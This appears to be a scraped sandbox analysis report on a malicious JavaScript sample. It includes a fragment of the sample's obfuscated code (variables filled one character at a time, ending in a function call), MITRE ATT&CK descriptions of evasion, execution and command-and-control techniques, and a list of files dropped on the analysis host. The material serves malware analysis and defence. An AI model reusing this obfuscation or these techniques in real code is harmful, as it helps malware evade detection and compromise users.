1277	fwjpath = "k";
1278	ywybkk = "C";
1279	ywybkk = "c";
1280	ywybkk = "t";
1281	ywybkk = "m";
1282	ywybkk = "i";
1283	ywybkk = "A";
1284	ywybkk = "C";
1285	ywybkk = "P";
1286	ywybkk = "J";
1287	ywybkk = "M";
1288	ywybkk = "q";
1289	ywybkk = "K";
1290	ywybkk = "o";
1291	ywybkk = "S";
1292	ywybkk = "d";
1293	ywybkk = "T";
1294	ywybkk = "T";
1295	ywybkk = "T";
1296	ywybkk = "s";
1297	ywybkk = "Q";
1298	ywybkk = "L";
1299	ywybkk = "m";
1300	ywybkk = "V";
1301	ywybkk = "U";
1302	ywybkk = "e";
1303	ywybkk = "x";
1304	ywybkk = "S";
1305	ywybkk = "G";
1306	ywybkk = "c";
1307	ywybkk = "Z";
1308	ywybkk = "B";
1309	ywybkk = "s";
1310	eerejgr = "M";
1311	eerejgr = "M";
1312	eerejgr = "m";
1313	eerejgr = "A";
1314	eerejgr = "a";
1315	eerejgr = "s";
1316	eerejgr = "e";
1317	eerejgr = "q";
1318	eerejgr = "e";
1319	eerejgr = "S";
1320	eerejgr = "H";
1321	eerejgr = "i";
1322	eerejgr = "G";
1323	eerejgr = "a";
1324	eerejgr = "X";
1325	eerejgr = "g";
1326	eerejgr = "p";
1327	eerejgr = "E";
1328	eerejgr = "v";
1329	eerejgr = "o";
1330	eerejgr = "h";
1331	eerejgr = "l";
1332	eerejgr = "s";
1333	eerejgr = "p";
1334	eerejgr = "i";
1335	eerejgr = "D";
1336	eerejgr = "y";
1337	eerejgr = "d";
1338	eerejgr = "j";
1339	eerejgr = "Q";
1340	eerejgr = "X";
1341	eerejgr = "X";
1342	eerejgr = "s";
1343	eerejgr = "Y";
1344	eerejgr = "x";
1345	eerejgr = "R";
1346	eerejgr = "o";
1347	eerejgr = "D";
1348	eerejgr = "x";
1349	eerejgr = "f";
1350	eerejgr = "Q";
1351	mevde = "A";
1352	mevde = "R";
1353	mevde = "U";
1354	mevde = "y";
1355	mevde = "t";
1356	mevde = ":";
1357	ojjau = "e";
1358	ojjau = "t";
1359	ojjau = "Y";
1360	ojjau = "u";
1361	ojjau = "t";
1362	ojjau = "k";
1363	ojjau = "K";
1364	ojjau = "v";
1365	ojjau = "h";
1366	ojjau = "E";
1367	ojjau = "e";
1368	ojjau = "F";
1369	ojjau = "i";
1370	ojjau = "R";
1371	ojjau = "a";
1372	ojjau = "b";
1373	ojjau = "z";
1374	ojjau = "%";
1375	fgdaiukrq = "t";
1376	fgdaiukrq = "g";
1377	fgdaiukrq = "t";
1378	fgdaiukrq = "n";
1379	fgdaiukrq = "w";
1380	fgdaiukrq = "L";
1381	fgdaiukrq = "f";
1382	fgdaiukrq = "U";
1383	fgdaiukrq = "g";
1384	fgdaiukrq = "s";
1385	fgdaiukrq = "Q";
1386	fgdaiukrq = "l";
1387	fgdaiukrq = "p";
1388	fgdaiukrq = "V";
1389	fgdaiukrq = "J";
1390	fgdaiukrq = "I";
1391	drszag = "b";
1392	drszag = "V";
1393	drszag = "J";
1394	drszag = "i";
1395	drszag = "T";
1396	tmhyubf = "t";
1397	tmhyubf = "k";
1398	tmhyubf = "f";
1399	tmhyubf = "K";
1400	tmhyubf = "B";
1401	tmhyubf = "n";
1402	tmhyubf = "y";
1403	tmhyubf = "b";
1404	tmhyubf = "s";
1405	tmhyubf = "i";
1406	tmhyubf = "h";
1407	tmhyubf = "k";
1408	tmhyubf = "b";
1409	tmhyubf = "r";
1410	tmhyubf = "q";
1411	tmhyubf = "W";
1412	tmhyubf = "X";
1413	tmhyubf = "x";
1414	tmhyubf = "Y";
1415	tmhyubf = "f";
1416	tmhyubf = "V";
1417	tmhyubf = "z";
1418	tmhyubf = "M";
1419	tmhyubf = "l";
1420	tmhyubf = "C";
1421	tmhyubf = "A";
1422	tmhyubf = "c";
1423	tmhyubf = "d";
1424	tmhyubf = "x";
1425	tmhyubf = "Y";
1426	tmhyubf = "I";
1427	tmhyubf = "l";
1428	tmhyubf = "s";
1429	tmhyubf = "E";
1430	tmhyubf = "d";
1431	tmhyubf = "K";
1432	tmhyubf = "s";
1433	tmhyubf = "A";
1434	tmhyubf = "S";
1435	tmhyubf = "H";
1436	dankcgcv = "O";
1437	dankcgcv = "N";
1438	dankcgcv = "Q";
1439	dankcgcv = "P";
1440	dankcgcv = "d";
1441	dankcgcv = "Q";
1442	dankcgcv = "h";
1443	dankcgcv = "z";
1444	dankcgcv = "q";
1445	dankcgcv = "o";
1446	dankcgcv = "r";
1447	dankcgcv = "k";
1448	dankcgcv = "Q";
1449	dankcgcv = "S";
1450	dankcgcv = "M";
1451	dankcgcv = "F";
1452	dankcgcv = "S";
1453	dankcgcv = "B";
1454	dankcgcv = "L";
1455	dankcgcv = "P";
1456	dankcgcv = "z";
1457	dankcgcv = "h";
1458	dankcgcv = "l";
1459	dankcgcv = "E";
1460	dankcgcv = "e";
1461	dankcgcv = "F";
1462	dankcgcv = "S";
1463	dankcgcv = "w";
1464	dankcgcv = "R";
1465	dankcgcv = "l";
1466	dankcgcv = "T";
1467	dankcgcv = "d";
1468	dankcgcv = "C";
1469	dankcgcv = "j";
1470	dankcgcv = "D";
1471	dankcgcv = "C";
1472	dankcgcv = "S";
1473	dankcgcv = "w";
1474	azdhnuo = "e";
1475	azdhnuo = "G";
1476	azdhnuo = "L";
1477	azdhnuo = "M";
1478	azdhnuo = "l";
1479	azdhnuo = "D";
1480	azdhnuo = "Z";
1481	azdhnuo = "t";
1482	azdhnuo = "t";
1483	azdhnuo = "b";
1484	azdhnuo = "w";
1485	azdhnuo = "x";
1486	azdhnuo = "i";
1487	azdhnuo = "z";
1488	azdhnuo = "g";
1489	azdhnuo = "V";
1490	azdhnuo = "d";
1491	azdhnuo = "C";
1492	azdhnuo = "y";
1493	azdhnuo = "t";
1494	azdhnuo = "O";
1495	azdhnuo = "I";
1496	azdhnuo = "b";
1497	azdhnuo = "c";
1498	azdhnuo = "n";
1499	azdhnuo = "l";
1500	azdhnuo = "M";
1501	azdhnuo = "t";
1502	azdhnuo = "J";
1503	azdhnuo = "m";
1504	azdhnuo = "w";
1505	azdhnuo = "0";
1506	swlkhwjwv = "p";
1507	swlkhwjwv = "c";
1508	swlkhwjwv = "U";
1509	swlkhwjwv = "Y";
1510	swlkhwjwv = "b";
1511	swlkhwjwv = "g";
1512	swlkhwjwv = "r";
1513	swlkhwjwv = "o";
1514	swlkhwjwv = "O";
1515	swlkhwjwv = "B";
1516	swlkhwjwv = "p";
1517	swlkhwjwv = "d";
1518	swlkhwjwv = "s";
1519	swlkhwjwv = "/";
1520	adtyajsyg = "X";
1521	adtyajsyg = "Y";
1522	adtyajsyg = "j";
1523	adtyajsyg = "E";
1524	adtyajsyg = "s";
1525	adtyajsyg = "r";
1526	adtyajsyg = "n";
1527	adtyajsyg = "U";
1528	adtyajsyg = "e";
1529	adtyajsyg = "e";
1530	adtyajsyg = "L";
1531	adtyajsyg = "o";
1532	adtyajsyg = "X";
1533	adtyajsyg = "s";
1534	adtyajsyg = "y";
1535	adtyajsyg = "A";
1536	adtyajsyg = "D";
1537	adtyajsyg = "S";
1538	adtyajsyg = "v";
1539	adtyajsyg = "B";
1540	adtyajsyg = "G";
1541	adtyajsyg = "K";
1542	uvtfye = "R";
1543	uvtfye = "F";
1544	uvtfye = "n";
1545	uvtfye = "k";
1546	uvtfye = "F";
1547	uvtfye = "Q";
1548	uvtfye = "i";
1549	uvtfye = "n";
1550	uvtfye = "p";
1551	uvtfye = "G";
1552	uvtfye = "Q";
1553	uvtfye = "u";
1554	uvtfye = "p";
1555	uvtfye = "U";
1556	uvtfye = "H";
1557	uvtfye = "D";
1558	uvtfye = "L";
1559	uvtfye = "f";
1560	uvtfye = "I";
1561	uvtfye = "W";
1562	uvtfye = "y";
1563	uvtfye = "T";
1564	uvtfye = "r";
1565	uvtfye = "P";
1566	uvtfye = "J";
1567	uvtfye = "l";
1568	uvtfye = "O";
1569	uvtfye = "b";
1570	uvtfye = "t";
1571	uvtfye = "e";
1572	uvtfye = "F";
1573	uvtfye = "L";
1574	uvtfye = "v";
1575	uvtfye = "N";
1576	uvtfye = "n";
1577	uvtfye = "j";
1578	uvtfye = "s";
1579	uvtfye = "V";
1580	uvtfye = "m";
1581	uvtfye = "x";
1582	uvtfye = "T";
1583	uvtfye = "P";
1584	uvtfye = "p";
1585	uvtfye = "S";
1586	jlsygdx = "b";
1587	jlsygdx = "d";
1588	jlsygdx = "d";
1589	jlsygdx = "c";
1590	jlsygdx = "o";
1591	jlsygdx = "H";
1592	jlsygdx = "c";
1593	jlsygdx = "B";
1594	jlsygdx = "o";
1595	jlsygdx = "m";
1596	jlsygdx = "A";
1597	jlsygdx = "t";
1598	jlsygdx = "h";
1599	jlsygdx = "v";
1600	jlsygdx = "A";
1601	jlsygdx = "I";
1602	jlsygdx = "j";
1603	jlsygdx = "K";
1604	jlsygdx = "U";
1605	jlsygdx = "N";
1606	jlsygdx = "x";
1607	jlsygdx = "F";
1608	jlsygdx = "e";
1609	jlsygdx = "o";
1610	jlsygdx = "H";
1611	jlsygdx = "O";
1612	jlsygdx = "P";
1613	jlsygdx = "t";
1614	jlsygdx = "E";
1615	jlsygdx = "f";
1616	jlsygdx = "H";
1617	jlsygdx = "b";
1618	jlsygdx = "r";
1619	jlsygdx = "d";
1620	jlsygdx = "G";
1621	jlsygdx = "_";
1622	wawhzxyi ( );	wawhzxyi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3107622714995924320.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7450425c-876c-4d27-bc15-8173b25b8506.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF46df9d.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e770d480-3d55-4f98-8bce-d7e7e6c114fe.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
3107622714995924320.js